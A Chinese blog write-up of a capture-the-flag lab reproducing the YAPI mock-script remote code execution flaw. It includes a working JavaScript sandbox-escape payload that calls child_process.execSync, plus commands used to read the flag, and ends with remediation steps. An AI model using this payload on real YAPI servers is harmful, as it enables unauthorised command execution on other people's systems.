YAPI远程执行漏洞复现

YAPI远程执行漏洞复现

实验靶机

BUUCTF :题目 ezrce

漏洞详情

YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

YAPI使用mock数据/脚本作为中间交互层,其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。

复现

首先打开是一个首页 可以登录注册

![请添加图片描述]( https://img-blog.csdnimg.cn/1caca569cd794910be49eba3bbc560c9.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NjU4MDYxNA==,size_16,color_FFFFFF,t_70)

随便注册一个用户然后登陆

点击添加项目

![请添加图片描述]( https://img-blog.csdnimg.cn/24c454aa420842dda1d17bf4190545ce.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NjU4MDYxNA==,size_16,color_FFFFFF,t_70)

点击设置---全局mock脚本 开启 并且添加脚本 然后保存

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

![请添加图片描述]( https://img-blog.csdnimg.cn/d009deb881b648c5925a2f5ab81b437d.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NjU4MDYxNA==,size_16,color_FFFFFF,t_70)

在接口列表----公共分类 添加接口

![请添加图片描述]( https://img-blog.csdnimg.cn/a040eac596e049c4be4e4a1d8f4a6a04.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NjU4MDYxNA==,size_16,color_FFFFFF,t_70)

![请添加图片描述]( https://img-blog.csdnimg.cn/ba020aa39005436287858d090660ad8b.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NjU4MDYxNA==,size_16,color_FFFFFF,t_70)

点击Mock地址 访问

![请添加图片描述]( https://img-blog.csdnimg.cn/4b10de0eaae84b72a61f5ba77c43295e.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NjU4MDYxNA==,size_16,color_FFFFFF,t_70)

反显出当前用户 app

请添加图片描述

whoami && ps -ef  查看所有

![请添加图片描述]( https://img-blog.csdnimg.cn/b347cba284ed4827932f7e46d258a0ad.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NjU4MDYxNA==,size_16,color_FFFFFF,t_70)

然后再寻找flag

ls /
cat /ffffffflllllaggggg

![请添加图片描述]( https://img-blog.csdnimg.cn/dedab9a4244c48f1b310fc8519a687fd.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NjU4MDYxNA==,size_16,color_FFFFFF,t_70)

得到flag

![请添加图片描述]( https://img-blog.csdnimg.cn/e87fca522ebf481ca9dad96eca9ff0be.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NjU4MDYxNA==,size_16,color_FFFFFF,t_70)

请添加图片描述

漏洞修复

1.关闭YAPI用户注册功能,阻断攻击者注册;

2.删除恶意已注册用户,避免攻击者再次添加mock脚本;

3.删除恶意mock脚本,防止被再次访问触发;
建议

posted @ 2021-08-02 23:05  FanWd-sec  阅读(305)  评论(0)    收藏  举报